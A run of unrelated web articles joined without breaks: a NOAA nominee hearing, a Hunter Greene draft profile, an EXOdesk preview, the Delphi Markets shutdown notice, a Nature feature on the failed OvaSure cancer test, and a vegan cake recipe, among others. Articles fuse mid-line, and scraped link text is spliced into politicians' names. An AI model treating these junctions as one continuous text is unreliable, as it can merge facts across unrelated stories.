He did, though, appear to endorse the use of commercial satellite weather data in addition to data from NOAA satellites. “We’re fortunate that we have new companies that are starting to come into this space with low orbit satellites that are smaller and do different or complementary missions,” he said. “We need to look at all of those for solutions to the burgeoning costs” of government satellites.
Myers appeared to be referring to efforts by several companies to develop constellations of small satellites that collect weather data, particularly by observing GPS signals as they pass through the atmosphere. NOAA awarded contracts to two such companies, GeoOptics and Spire, in 2016 as part of an initial round of its Commercial Weather Data Pilot program, with plans to carry out a second round in 2018.
Very little of the 90-minute hearing dealt with NOAA satellite programs. Myers, in his opening statement, mentioned the need “to ensure continuity and cost-control of our satellite programs” as one of several priorities he saw at the agency. Later, he agreed with Sen. James Inhofe (R-Okla.) that NOAA satellite data supports national security missions as well as civil applications.
Senators, in particular the committee’s Democrats, were focused instead on concerns of potential conflicts of interest Myers might have leading NOAA, given his leadership of a weather forecasting company owned by family members. “It’s obviously a concern to me,” said Sen. Bill Nelson (D-Fla.), ranking member of the committee, in his opening statement. “We must be sure that you will not have a conflict of interest with a company owned by your brothers, previously run by you.”
Myers, in his opening statement and in response to later questions from senators, said he would divest himself of any interest in AccuWeather if confirmed. “My wife and I will resign from every company, board or organization that could be in conflict with my new role,” he said. “We’ve also agreed to sell all of our ownership interest, shares and options, in AccuWeather and all related companies. There will be a complete separation.”
He also said, in several lines of questions from senators, he supported research by NOAA scientists on climate change, and their ability to communicate those results to the public. That included agreeing with the statement, posed several times by Sen. Ed Markey (D-Mass.), that humans are the leading cause of climate change.
The hearing was far less contentious than one held four weeks earlier by the same committee regarding the nomination of Jim Bridenstine to be NASA administrator. At the end of the hearing, one senator said it was “highly likely” that Myers would ultimately be confirmed.
“I think you’ve done an outstanding job at this hearing today,” said Sen. Dan Sullivan (D-Alaska), who chaired the hearing in his role as chairman of the oceans, atmosphere, fisheries, and Coast Guard subcommittee. “You’re very well qualified.”Hunter Greene, pitcher and shortstop from Notre Dame High School in Sherman Oaks, CA., is expected to be one of the top picks in the 2017 MLB Draft. He has been called the “most hyped high school prospect since Bryce Harper.”
The 6-foot-4, 210-pounder, has hit balls 450 feet, clear out of major league ballparks and is able to throw 102 mph, according to the SunSentinel.
Greene is projected to be picked as a pitcher, but has the skills to be a big-league shortstop.
Here’s what you need to know about Greene:
1. Green Could Be the First High School Right-Handed Pitcher Picked Number One
According to StarTribune, a high school right-handed pitcher has never been picked first since the draft started in 1965. The Twins have not yet tipped their hand, with five or six players still in the mix for their top selection. If the Twins pass on Greene, many outlets have said that the Cincinnati Reds will scoop him up with the second pick.
Green is only 17-years-old and doesn’t turn 18 until August. According to the Tribune, Greene started playing whiffle-ball with his father, Russell Greene, when Hunter was just three-years-old.
“His hand-eye coordination was ridiculous,” said Greene. “I wasn’t throwing strikes. I was throwing to his swing path. He was swinging where I was throwing.”
Green will be one of four players attending the draft. Unlike the NFL and NBA drafts, the MLB Draft doesn’t feature many players getting their on-stage moment when they are selected, according to SBNation.
The other players expected to be at the draft are Ballard High School outfielder Jordon Adell, Carlsbad High School pitcher Trevor Rogers, and McGill-Toolen High School outfielder Bubba Thompson, all projected first-round selections, according to SBNation.
2. Greene Has Been Scouted Since He Was Young
According to Sports Illustrated, the Dodgers’ area scout met him during a pitching lesson when he was nine, deeming his throwing mechanics flawless. Radar guns clocked him at 93 mph when he was 14, the same year UCLA and USC offered him scholarships, well aware that he probably wouldn’t ever step on campus because his draft stock was already so high.
Many see Greene as an elite pitcher, due to his 102 mile-per-hour fastball and overpowering blend of “stuff.” Some see him as a potential Mariners-era Alex Rodriguez, an artful defender with a slick glove and the ability to drive pitches, according to USA Today.
3. Greene Was a Standout at Notre Dame High School
Thankful 2 @SIKids @SInow appreciate the ❤️ I hope it inspires. https://t.co/CDkobxKb9V—
Hunter Greene (@HunterGreene17) June 03, 2017
Greene attended Notre Dame High School in Sherman Oaks, CA. It’s the same school that Miami Marlin’s slugger Giancarlo Stanton graduated from in 2007. Stanton was picked in the second round, 76th overall, by the Marlins in 2007. Stanton, who has met Greene, spoke to SunSentinel about Greene’s popularity:
“Usually you have that type of popularity with college, when you’re walking around a college campus,” said Stanton. “I don’t know how that is. [When] you’re like that in high school it’s a whole ’nother level.”
As a senior, Greene batted.324 with 6 home runs, 28 RBIs and 23 runs scored in 102 at-bats. He posted a 3-0 record with a 0.75 ERA in 5 starts. As a junior, he hit.419 with 5 home runs and 20 RBIs in 93 at-bats and posted a 5-3 record with a 1.63 ERA. Stats are from MaxPreps.
At 15, Greene was the state player of the year and a centerpiece of the U.S. 18-and-under national team.
4. Greene Has a Wide Variety of Interests
Greene is anything but your typical high-schooler, baseball skills aside. He plays the violin, and listens to hip-hip, according to Sports Illustrated.
Greene is learning how to speak Korean and does yoga with a private instructor three times a week. He spends free periods painting with Joseph Lee, his AP studio art teacher, and also likes to fish at Castaic Lake, according to SI.
He organized a sock drive this winter for the homeless in downtown Los Angeles, where he handed out 2,300 pairs on Skid Row. He has received four certificates of recognition from L.A.-area politicians for his community service efforts.
According to SI, he started wearing Jackie Robinson’s number 42 at a young age, and won an essay contest when he was 13-years-old. His win granted him a meeting with Robinson’s daughter, Sharon.
5. Greene’s Father Is a Renowned Private Investigator
Come out & support the 2017 Mission League Champions for our last home league game today at 3:30pm. We're thankful… twitter.com/i/web/status/8…—
Hunter Greene (@HunterGreene17) May 10, 2017
Russel Greene is a renowned private investigator who handled famous attorney Johnnie Cochran’s cases for two decades, starting at the end of the O.J Simpson murder trial, according to Sports Illustrated. According to SI, his specialty is violent crime, and he carries a gun for when he arrives at homicide scenes moments after police.
His clients include the Kardashians, Kanye West, Justin Bieber and Reggie Bush. According to Sports Illustrated, both NBC and CBS have asked him to star in reality shows about his life as a private investigator.Amanda Kooser/CNET
LAS VEGAS--The sneak preview video for the EXOdesk had lots of people drooling over the big touch-screen interface that's reminiscent of the Microsoft Surface, minus the honking big price tag.
The EXOdesk from EXOPC is now making a cameo appearance at ViewSonic's booth at CES. The 36-inch demonstration device begs you to run your hands all over it, so I did.
The screen is set up at an angle right in front of a standard desktop monitor. You can access apps and desktop shortcuts, check the weather, pop open a virtual keyboard, and write directly on the screen.
The UI is operating system-agnostic, so you will be able to run the EXOdesk with Mac, PC, or pretty much any other OS your heart desires. The demo EXOdesk at CES was hooked up with Windows 7.
All that screen space goes to good use when you open multiple apps, run a feed of social-media alerts along one side, and have an on-screen keyboard that looks like an old typewriter. My preliminary impression is that it will be a very flexible computing platform.
The EXOdesk should be a good fit for all those people who have embraced tablets and other touch-screen devices. It's a natural evolution to blow the concept up to giant size and park it with your desktop.
The EXOdesk is due out in September of this year for around $1,300. Though it's appearing with ViewSonic at CES, the hardware manufacturer has not yet been settled.
Now playing: Watch this: EXODesk is like an affordable Microsoft SurfaceThe New Delphi
Delphi Blocked Unblock Follow Following Aug 28, 2017
First, we need to apologize for the recent radio silence. Truthfully: we are sorry. Though we’ve wanted to communicate much more transparently over the past couple of weeks, internal developments have prevented us from being able to do so. As always, thank you for your patience and understanding.
With the exception of a single individual, we are moving forward, but unfortunately we are no longer able to do so with the Delphi Markets project. An irreconcilable difference in vision has brought us to an impasse. Rather than risk starting things off on the wrong foot and potentially falling short when it comes to achieving our vision, we have decided that the most honorable path forward is to return all contributions and to shut down Delphi Markets entirely.
Funds are being returned.
Edit: The ETH raised in our Fair Auction crowdsale has been sent to a Redemption Contract, to allow holders of DEL to convert their tokens back to ETH at the exchange rate established in the Fair Auction.
We recognize that DEL has traded on the open market. The owners of the addresses who have acquired DEL between the distribution phase and the time of this announcement can contact us to receive a reimbursement (and fortunately public key cryptography allows us to verify the authenticity of such claims). Other than this accommodation, however, we are discontinuing support for DEL and Delphi Markets entirely.
The Future
The rest of the Delphi team will be continuing forward with a new project: Delphi Systems.
While there are some clear similarities between the new Delphi Systems project and the old Delphi Markets one, they should be considered totally separate and distinct initiatives. There are a few substantial differences which are worth mentioning:
Delphi.Systems will have a new whitepaper, new code, and a new mailing list. If you are interested in following our project and receiving updates, please subscribe at the bottom of the page at https://delphi.systems, because we can no longer guarantee the integrity of the information sent out via the old mailing list.
Delphi.Systems will primarily be an oracle-oriented project. We are focusing much more heavily on Pythia and treating it as the project’s flagship application.
While we will still offer prediction markets, they will primarily be offered as a “killer app” for the oracle platform and service. Our custom Omphalos architecture is minimal (it is deliberately designed to be much less complex than alternative prediction market implementations) and extensible, in a similar way to our approach with Pythia.
The general token utility and basic premise will be substantially different from the original. Our new whitepaper and future documentation will clarify this in more depth.
Delphi.Systems will be “Gnosis-friendly” (i.e. no longer positioned as a competitor to Gnosis, and instead built to achieve inter-project synergy and cooperation)
With the team split, we can no longer guarantee (or even confidently assure) full anonymity, so we are adjusting our approach accordingly. More information regarding this will be forthcoming.
The code that we have been developing will be published prior to the token launch and crowdsale. In other words, there will be more “code substance” for prospective users to evaluate and test before deciding whether they would like to get involved.
Final Thoughts
We still wish to make sure that our Bounty Hunters (past, present, and future) are taken care of and properly compensated for their contributions.
As much as we wish that complications like this hadn’t ever come up, we do see an opportunity here. Despite some minor necessary concessions, the new project will be able to be much more transparent in a great number of ways, which will free our hands and allow us to focus more heavily on the things that we feel best equipped to deliver. Our strategy is indeed being updated, but we don’t feel that it is too wild of a deviation, and we feel confident that despite this early bump in the road, we can preserve the best components of our original vision. We really hope that you like our new direction.
Note: The Delphi Markets domain ( https : // delphi. markets ) should be considered totally compromised. https://delphi.systems is the official domain of the new project.
The following PGP keys remain valid, and represent keys controlled by members of the Delphi Systems team:
0 http://web.archive.org/web/20170814045309/https://delphi.markets/pgp/0.asc
1 http://web.archive.org/web/20170814045718/https://delphi.markets/pgp/2.asc
2 http://web.archive.org/web/20170814045803/https://delphi.markets/pgp/3.asc
3 http://web.archive.org/web/20170814045836/https://delphi.markets/pgp/4.asc
4 http://web.archive.org/web/20170814045849/https://delphi.markets/pgp/5.asc
5 http://web.archive.org/web/20170814045905/https://delphi.markets/pgp/6.asc
The same keys are available for verification on the new delphi.systems website.
The funds will initially be sent to 0x8f12Fe64d2e9fEA29deF7106868fE7f43bf999a9 during the redemption process.CONCERN’S Chief Executive Dominic MacSorley, who is just back from visiting Concern projects in Sierra Leone and Liberia, will speak at the Grand Hotel in Denny Street in Tralee on Thursday, October 16.
Over 3,000 people have died in Liberia and Sierra Leone from Ebola, which is now an epidemic with global consequences.
The evening begins at 7.30pm. It is also an occasion for Concern to thank people for their generous support and to inform them of the work Concern is doing in the 27 of the world’s poorest countries where it is working.
Michael Commane, who works in the press office of Concern and is a columnist with The Kerryman, will give a short talk on a visit he made to Concern programmes in Zambia.
Solicitor Maura Hennessy will host the evening.A House Republican conference in disarray renewed its pleas for Rep. Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) to come to the rescue and run for the Speakership on Friday as its memebrs met to decide how to move forward.
Lawmakers met behind closed doors a day after the stunning decision by Majority Leader Kevin McCarthy to drop out of the race for Speaker, a move that left unclear who will — or can — lead the rancorous House GOP conference.
Many members want Ryan to run for the post, but it's not clear whether he'll answer the calls to take on the difficult responsibility of the Speakership.
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The only new step announced Friday is that the GOP will set up a focus group to review House conference rules and procedures, an effort to appease rank-and-file conservatives who have felt edged out under Speaker John Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE’s (R-Ohio) reign.
GOP leaders have not scheduled a new date for a Speaker election.
Multiple Republicans — including a current candidate for Speaker — said Friday that they have been making personal appeals to Ryan.
“If Paul Ryan got into the race, of course I’d support him. Part of the reason I got into the race was because people like Paul Ryan weren't getting into the race,” Rep. Jason Chaffetz Jason ChaffetzTop Utah paper knocks Chaffetz as he mulls run for governor: ‘His political career should be over’ Boehner working on memoir: report Former GOP lawmaker on death of 7-year-old migrant girl: Message should be ‘don't make this journey, it will kill you' MORE (R-Utah), who announced his bid for Speaker last week, told reporters.
“I'm a huge fan of Paul Ryan, I would hope he would do it. But he has consistently said that he won't,” he said.
Rep. Darrell Issa (R-Calif.), who said he would consider a run for Speaker if Ryan doesn’t jump in, said he is not giving up hope.
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the case," he said. "For example, testosterone can be converted to estrogen through a particular enzyme. If you inject menopausal women with testosterone, it might be acting as a device that's delivering estrogen to the target cells. So the fact that it works doesn't necessarily mean it's an important signal in the natural cycle."
###Published online 23 March 2011 | Nature 471, 428-432 (2011) | doi:10.1038/471428a
News Feature
Why is it so hard to find a test to predict cancer?
On 3 March, two studies appeared online that offered 19 pages of gloomy reading for anyone interested in cancer. They focused on biological molecules, or biomarkers, the presence of which in the blood might be used to detect the earliest glimmers of ovarian cancer — a disease not normally discovered until it has destroyed the ovaries and rotted other parts of the body. The researchers, coordinated by the Early Detection Research Network (EDRN) of the US National Cancer Institute (NCI), had assembled 35 protein biomarkers, including 5 panels of proteins, that had looked the most promising in early studies. They had carried out rigorous testing — screening blood samples from more than 1,000 women — to ask whether these seemingly breakthrough biomarkers were better at identifying women with early ovarian cancer than the one flawed biomarker that had been in use for almost 30 years, CA-125. None of them was1,2. "CA-125 remains the 'best of a bad lot'," read an accompanying perspective article3. "The new candidates have fallen short of expectations."
Tied in last place for its poor performance among the biomarker panels was one identified by Gil Mor, a cancer biologist at Yale University in New Haven, Connecticut. Mor's six-protein panel detected ovarian cancer in only 34% of the women who were diagnosed with the disease within a year. (CA-125, by contrast, detected 63%.) Mor's panel already had a tortured history. A primary research paper behind it had been criticized by other scientists for allegedly using inappropriate statistical calculations and for optimistically concluding that the test would help women before rigorous follow-up studies proved that it could. Yet for four months in 2008, the test was sold to patients by Laboratory Corporation of America (LabCorp) in Burlington, North Carolina, the company that licensed the panel from Yale. LabCorp had marketed the test under the name OvaSure until the US Food and Drug Administration (FDA) intervened and the company pulled it from the market. The panel offered "invaluable object lessons" for bringing a test prematurely to the clinic, wrote the authors of the perspective article.
“As we're moving up to multiple markers, all our bad habits are coming back to bite us in a big way.”
Similar lessons can be found in the stories behind many cancer biomarkers that have sputtered and failed on their way to the clinic. Those tests that are in clinical use — including prostate-specific antigen (PSA) for prostate cancer, mammogram-detected masses for breast cancer and CA-125 — fail to detect all cancers and sometimes 'detect' ones that aren't there. Genomics, proteomics and other such technologies promised to help by finding combinations of markers that are more powerful and cancer-specific than individual ones, but that promise has not been realized. Researchers using such technologies have published studies on thousands of panels, suggesting that they can detect early-stage disease, guide patient treatment and monitor recurrence. But only a tiny number of such tests have reached the clinic — and none for the early detection of cancer, the biggest clinical challenge of all. "Much biomarker research has been done very badly for decades," believes Lisa McShane, a biostatistician at the NCI in Rockville, Maryland. "Even when it was single markers. Now, as we're moving up to multiple markers, all our bad habits are coming back to bite us in a big way."
These habits have been thrown into the spotlight by the EDRN's study, one of the largest and most systematic validation studies of biomarkers so far. It came just months after a high-profile decision at Duke University in Durham, North Carolina, to suspend clinical trials of a genomics-based biomarker panel designed to direct chemotherapy in patients with breast cancer. A number of scientists had raised concerns about the Duke group's data and analysis, and the trial was stopped after allegations came to light that the lead researcher, geneticist Anil Potti, had made false claims on his CV. Last September, the Institute of Medicine (IOM), part of the US National Academies, assembled a committee to discuss lessons for developing tests based on 'omics' technologies and bringing them to the clinic. "Why don't we have assays out there, with this enormous promise?" Dan Hayes, a breast-cancer researcher at the University of Michigan in Ann Arbor asked researchers at the first IOM committee meeting in December 2010."It's either because these things just don't work, or because we've used sloppy science to test them."
It is too early to say whether either of these is true: the field is still young, and faces many challenges. It has drawn in many cancer biologists who are excited by the potential to translate their work to the clinic — but they sometimes lack the expertise or resources needed to pursue translational or clinical work. "A lot of novices came in. They get in without realizing that the problem may be more complex than it appears," says Eleftherios Diamandis, a clinical biochemist at the University of Toronto in Canada. And although most experts agree that potential biomarkers for early cancer detection should be validated on samples taken before diagnosis — the stage at which the test would be used in the clinic — that is a step that few groups attempt and no biomarker for ovarian cancer has passed, as the EDRN study made clear. "Sometimes the glamour of the technology or the sheer volume of omics data seem to make investigators forget basic scientific principles," said McShane at the IOM meeting. Mor agrees that the field has faced problems, and that it is important for markers to go through a careful process of design and validation, as he tried to do.
"There's been an enormous amount of hype and promise," sums up David Ransohoff, a cancer epidemiologist at the University of North Carolina in Chapel Hill. "But after 10 or 15 years of intense work in these fields, there's simply not a lot to show for it. It's important for the whole field to step back and look at what is wrong."
Making a difference
Mor began his career in Israel, where he trained as a clinician at the Hebrew University of Jerusalem. But an experience in the final years of his oncology residency compelled him to change course. A young woman arrived at the hospital with ovarian cancer, a disease that kills some 140,000 women worldwide each year. The oncology team removed the woman's ovaries and put her through several rounds of chemotherapy, which seemed to be successful. But 18 months later, she was back, her body riddled with tumours, and she soon died. "Chemotherapy didn't do anything for her," Mor recalls. "She was 29. She was a beautiful girl. An impressive girl. A medical student. And I never understood what happened to her."
Mor decided to leave medicine, which had been unable to save her, for research, which one day might. He earned a PhD studying ovarian cancer at the Weizmann Institute of Science in Rehovot, Israel, before moving to Yale in 1997. He went on to start a programme called Discovery to Cure, aiming to speed cancer research to the clinic. The group began to build a bank of blood and tissue samples, including some from a Yale clinic for women with a high risk of ovarian cancer owing to a family history of the disease."There was a lot of excitement around that time for finding proteins specific to cancer," says Mor.
In 2003, David Ward, then a geneticist at Yale, contacted Mor. Ward had co-founded Molecular Staging, a company in New Haven that had developed a 'high-throughput' technique for quantifying multiple proteins in the blood using arrays of antibodies4. He asked whether he could use Mor's samples to search for markers of early ovarian cancer.
Mor had never been involved with biomarker research — "I do biology of cancer, not biomarker development," he says — but he signed up, intrigued by the clinical potential of the technology. Ward had scoured the literature for proteins that had been associated with ovarian-cancer growth and malignancy, and had come up with 169 candidates. Using the protein-quantification technique, Ward's company screened blood samples in Mor's tissue bank that came from two groups: women with newly diagnosed ovarian cancer who had been enrolled in Yale's high-risk clinic, and women who had come to the hospital for routine gynaecological exams. Using additional cancer-patient samples, they whittled the list down to four proteins: leptin, prolactin, osteopontin and insulin-like growth factor II.
Gil Mor is testing whether a panel of six proteins can detect ovarian cancer in women at high risk. S. Ogden
Mor worked to develop an algorithm that could automatically classify women as having cancer or not, depending on levels of these four proteins. When the team ran a new set of blood samples through the algorithm, they got astounding results. The test showed a sensitivity of 95% (meaning it correctly detected 95% of the ovarian-cancer cases) and a specificity of 95% (it erroneously classified only 5% of healthy people as having cancer). "I was delighted," says Mor. On equivalent samples, CA-125 tests typically have a sensitivity of 70–80% and a specificity of around 95%. In May 2005, the findings were published in the Proceedings of the National Academy of Sciences (PNAS), with Ward as a contributing author5.
Before publication, Mor helped the Yale Office of Cooperative Research to prepare a patent application. "A lot of companies expressed interest in licensing the panel," says John Puziss, director of technology licensing at Yale. LabCorp licensed the test in 2006, as did Millipore, a biomanufacturing company based in Billerica, Massachusetts. (Mor says that the royalties he and his co-inventors received "were not a significant amount".)
The test's promising results had also caught the attention of researchers in the EDRN, who were just putting together their validation study. Up to that point, most biomarkers for detecting early ovarian cancer had only been shown to distinguish patients with diagnosed cancer from healthy controls, but they are intended to detect the disease in women whose cancer is just budding, before symptoms develop. What the field needed was a 'prospective' study, run on blood samples from apparently healthy women, to see whether the biomarkers could pinpoint those who would later be diagnosed with ovarian cancer. Such samples, from large numbers of women who are tracked over months or years, are extremely difficult to come by.
Problem detection
The EDRN found what was needed in the Prostate, Lung, Colorectal, and Ovarian (PLCO) Cancer Screening Trial, sponsored and run by the NCI. Between 1992 and 2001, the trial had been collecting blood at regular intervals from 155,000 women and men, and screening them for cancer. By June 2006, 118 of the women had developed ovarian or closely related cancers, and the EDRN researchers were now in a position to use them to evaluate the most promising biomarkers for early detection. Ziding Feng, a biostatistician at the Fred Hutchinson Cancer Research Center (FHCRC) in Seattle, Washington, and coordinator of the EDRN, visited Mor to discuss whether his panel of four proteins could be included in the study.
“It's important for the whole field to step back and look at what is wrong.”
Mor was already in the process of refining the panel: he had more patient samples, and wanted to add more markers, including CA-125 and the protein macrophage migration inhibitory factor, to make the test more sensitive to cancer. LabCorp had been running his new samples on assay kits manufactured by Millipore. (Ward, meanwhile, had moved to the Nevada Cancer Institute in Las Vegas, and was not involved in data collection or analysis.)
When Mor showed Feng how he was analysing his recent data, Feng was troubled. Mor asked him to go through the new results himself, and Feng agreed to collaborate. "I do not do statistics," says Mor. "That is not my field." The researchers also added the six-protein panel to the EDRN's validation study.
Feng and Gary Longton, another statistician at the FHCRC, developed their own classification algorithms, and found that Mor's test had a sensitivity of 95% and specificity of 99%. They also calculated the positive predictive value (PPV) of the test — the proportion of patients who the test would diagnose with the disease and do in fact have it. A high PPV means that few people will be misdiagnosed, which is crucial when screening healthy people.
Feng and Longton calculated the PPV at 6.5%, too low for the test to be of much use for screening. But separately, Mor was working with a different figure, of 99.3%. The huge disparity between the two values stemmed from the way that they calculated the figure and factored in the prevalence of ovarian cancer — an important variable in calculating the PPV. Following convention, Feng and Longton calculated the PPV using the accepted prevalence in post-menopausal women, 1 in 2,500 (0.04%). But Mor's figure was calculated solely from the study population, in which the prevalence was 46%. "We calculated the PPV based on the population in the study, because we always intended the test for the high-risk population," says Mor. "If you want to bring the test to the clinic, it has to be calculated based on the population you're going to study," he says, noting that other research studies work out the PPV for the study population in this way.
It's a common mistake, believes McShane, who — like other statisticians — disagrees with Mor's logic. "I see that a lot, but it is nowhere near the correct thing to do," she says. Even in high-risk populations — women who are screened every year because of their family history or because they have tested positive for mutations in tumour-suppressor genes BRCA1 or BRCA2 — the prevalence is around 0.5%, far below the 46% in Mor's study population. Similar battles over the correct use of statistics litter the cancer-biomarker field, said researchers at the IOM meeting last year. "It's the type of thing where non-statisticians think statisticians are being uptight about something that's not going to matter anyway," says McShane.
Mor prepared a paper reporting the latest work. But when Feng and Longton saw the page proofs, they noticed that the PPV value was reported as 99.3%. They asked Mor to change it to the 6.5% that they had calculated, and to correct a few other typographical errors in the tables. "He agreed, so we signed off," recalls Feng. But there was a miscommunication: Mor thought that Feng had agreed to the use of the high PPV, and that everyone approved of the final manuscript.
The paper was published online in Clinical Cancer Research6 in February 2008, and to Feng's shock it reported the high PPV. "You can imagine how upset I was when I saw it in the paper," says Feng.
Feng called Mor. "I told him, those are errors, we told you those are not correct." Feng also contacted the journal, the editor of which asked Mor to submit a correction to fix the PPV and the other typos. Mor agreed, adding the lower PPV as a footnote to the table and in a written correction.
A few weeks later, Feng received an e-mail with unwelcome news from a colleague: LabCorp was preparing to market the panel, and was "hopeful that this test will be available to women by the end of the year".
"I was shocked," says Feng. "I had no idea this was coming." He thought that the markers should be validated further before they went to the clinic. In March 2008, Feng and Mor saw each other at a meeting in Washington DC. "I told him, face to face, you cannot do this," says Feng. "You have to wait until after the PLCO validation. What you have done is early discovery. If validation does not support your earlier claim, you're making a significant error." Mor does not recall this encounter, but says that Feng's "role was to analyse the data, not to make judgements of a company decision".
Now, Mor says that if he were preparing the paper again, he would include both the low and high values for the PPV. And he vacillates about whether LabCorp's decision to offer the test to women before it had undergone more validation studies was the right thing to do. He says he thought that clinical use of the test might be a good way to do further validation. "It's very difficult to do that on large numbers of patients," he says. "It's extremely expensive. The only way to do the study is if LabCorp started distributing the test and enrolling patients." Mor notes that many tests, such as mammography, have been offered to patients as an aid to diagnosis even while data on the test are being collected. "Was it the right time? I don't know," he says.
Critical backlash
On 23 June 2008, LabCorp announced the availability of the OvaSure test, for between US$220 and $240. The press release said that it was being offered to women with a high risk of the disease, and quoted Mor as saying he was "pleased that this test is available to help physicians detect and treat ovarian cancer in its earliest stages".
Excited chatter about the test spread through patient forums and support groups, but it was soon countered by cautionary tales. Jean McKibben, an ovarian-cancer survivor, rushed to take OvaSure on the first day it was available, and her results showed a 0.00 chance of cancer. A week later, scans showed that her cancer was back. She was crushed. "I wanted this to work so badly," she wrote on a discussion board.
One week after LabCorp's announcement, the Society of Gynecologic Oncologists in Chicago, Illinois, released a statement expressing concern about OvaSure, saying that "additional research is needed to validate the test's effectiveness". The paper in Clinical Cancer Research was also circulating at the Canary Foundation, a non-profit organization based in Palo Alto, California, that funds research on early cancer detection. Scientists there found other reasons for concern. One member, Nicole Urban, head of the Gynecologic Cancer Research Program at the FHCRC, had found that levels of prolactin, one of the proteins in the panel, are highly sensitive to stress — something very likely to affect women entering the clinic with symptoms of ovarian cancer7. After controlling for that, she says, "prolactin gave no signal at all for malignancy. It was useless." Others pointed out that the high specificity and sensitivity figures reported in the paper's conclusions, and trumpeted in Yale and OvaSure press releases, were not present in any of the tables or figures. And they bristled at the positive tone of the discussion, which stated that the test "will enhance the potential of treating ovarian cancer in its early stages and therefore, increases the successful treatment of the disease".
"There were a lot of uncertainties, and evidence of biases," says Martin McIntosh, who researches markers for early-stage ovarian cancer at the FHCRC, and is a member of the Canary group, "But the narrative only highlighted the best-performing analysis. It didn't mention caveats." Members of the Canary group wrote a letter to Clinical Cancer Research, describing some of their complaints. Meanwhile, Feng agreed to co-author a second letter, criticizing the paper even though he was a co-author.
The fuss was already reaching the FDA, which on 7 August 2008 sent a letter to LabCorp saying that the test "has not received adequate clinical validation, and may harm the public health". A second letter, sent by the FDA on 29 September 2008, alleged that LabCorp did not have the necessary marketing clearance or approval for the test from the FDA. LabCorp replied to the FDA on 20 October, disagreeing with the agency's assertions, but agreed to pull OvaSure from the market. It did so on 24 October 2008, just one day after Clinical Cancer Research published the critical letters from the Canary Foundation and Feng, as well as a third from the Centers for Disease Control and Prevention (CDC) in Atlanta, Georgia8,9,10. (Millipore continues to market the biomarker panel for use in research, not by patients.)
Mor was surprised by all three letters. In his published response11, he disputed some of the criticisms and wrote that any concerns about commercialization should be taken up with LabCorp. Stephen Anderson, vice-president of investor relations at LabCorp, says that OvaSure was not marketed as a test for detecting cancer recurrence, which was how some patients used it. He says that LabCorp "continues to believe OvaSure offers a valuable tool for ovarian-cancer detection in conjunction with other diagnostic techniques", and that the assay is still in development. The company would not provide further comment.
Doubts and lessons
Since then, Mor has worked hard to validate his panel. He and Ward have completed a study on a much larger set of samples including many from women diagnosed in the earliest stages of ovarian cancer12, and in which LabCorp again ran the assays. The test still performed well at distinguishing the patients from the healthy controls. Mor says he is puzzled by the PLCO trial results, and he hopes that further analysis of the trial data will help to explain why his biomarkers performed so poorly. He continues to express confidence in his panel, saying that the test could be most useful in high-risk populations, and when used regularly — every two to three months — to monitor rising and falling levels of the biomarkers. But the whole experience has made him reluctant to pursue biomarker work much further. "I'm focusing on understanding cancer stem cells," he says.
Others say that's just as well. The panel's poor performance in the PLCO study makes critics question its usefulness in any group, even a high-risk one. McIntosh says that the PLCO study's damning conclusions should serve as a wake-up call. "The entire field has to cope with this," he says — including him, given that the most promising biomarkers discovered by his institution also failed to improve on CA-125 in the trial. "It's hugely disappointing."
The IOM committee, which is expected to release its results sometime in 2012, may help to find a way forward. At a meeting later this month, the members plan to draw lessons from the biomarker failures, as well as from the few success stories (see 'The gene collection that could'). One of the most urgent lessons is the need to help researchers validate their biomarkers on appropriate samples before they reach the clinic. Feng says that the EDRN has been collecting its own high-quality tissue reference sets for ovarian, breast, lung, colon, liver and prostate cancers, from people who aren't yet showing symptoms and those in all stages of the disease. Investigators can apply to test their biomarkers on blinded tissue samples.
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Until this type of testing becomes commonplace, there is no way of excluding the possibility that, as Hayes suggested at the IOM meeting, "these things just don't work" — particularly when it comes to picking up cancer early on.
"People keep talking about early-detection biomarkers as if they are a fact, and we only need to find them," says McIntosh,"when in reality their existence is a hypothesis that needs to be tested."
See Outlook p.450
Lizzie Buchen is a freelance writer in San Francisco, California.I have always loved these little Italian Rainbow Cakes. I looked forward to them each Christmas as they were brought to us by friends. Although I had been given the recipe, it seemed complicated and of course, it wasn’t vegan. Surprisingly easy steps, this one is surely worth the effort!
Originally posted Christmas of 2013, this is my most visited recipe each December so I thought I would reformat it for Yummly (yay for printable recipes) and share it with you again this year.
Before we start baking, it is very important to use parchment paper in this recipe. Without it, it would be nearly impossible to lift and move the layers without breaking them. I cut them to the width of the interior of my 8″x8″ pan and left enough overhang to use as handles for removing. If the papers move around too much, you can give a super quick mist of cooking spray and then the paper will adhere to it. This becomes more of an issue when you start to fill with batter.
Divide the cake batter evenly among three bowls. I used a kitchen scale to be sure they were all pretty much the same. Using a vegan-friendly color, tint one red and one green. Leave the other plain. Keep in mind the baked cake will be slightly darker than your batter.
I get asked a lot about vegan food colors. I use Americolor (available at Walmart and of course, Amazon). I recently touched based with them and they assure me all of their colors (including red) are vegan. I used ‘Red Red’ and ‘Leaf Green’ for this recipe.
Spread each color evenly with a small offset spatula into their respective pans. It’s also necessary to have 3 pans for this recipe of the same size, from the same manufacturer that stack tightly. You’ll see why in a later step. They are very reasonably priced (I think I paid about $5 each at Walmart) and this size pan is always useful.
Here’s what they look like straight from the oven. Allow to cool in their pans COMPLETELY.
Meanwhile, prepare the apricot jam filling. I just warm it in a small saucepan. The jam gives the cake both flavor and keeps it moist.
Spread half of the apricot jam onto the green layer.
Remove the parchment from the vanilla layer and place it on top of the jam covered green layer. See the green layer underneath there? Now spread the remaining jam onto the vanilla layer.
Remove the parchment from the red layer and place it on top of the jam covered vanilla layer. Reserve this piece of parchment for use in the next step.
This is where the 3 pans of the same size come into play. Using the reserved parchment strip, place it on top of the red layer. Take one of the pans and place it on top of that parchment. Give it a light but firm press. I actually get a couple of soup cans and place them in there. This will stay in the refrigerator overnight allowing the layers to bond together.
The next day, I remove the cake from the pan and using a serrated knife, cut off a small (maybe 1/8″) amount around the border. This just cleans it up and squares things off a bit.
Next melt vegan chocolate chips.
Spread the chocolate over the top of the cake and using a fork, create a swirled effect using a snake-like motion.
I like to place this back into the fridge to harden. I don’t let it get too hard though, because you’ll want to cut it into squares or rectangles.
I keep these covered and refrigerated. They freeze really well too! They are so moist and delicious. Your guests will absolutely love them. This is my very favorite Christmas dessert and I am thrilled to be able to share this vegan version with you 🙂
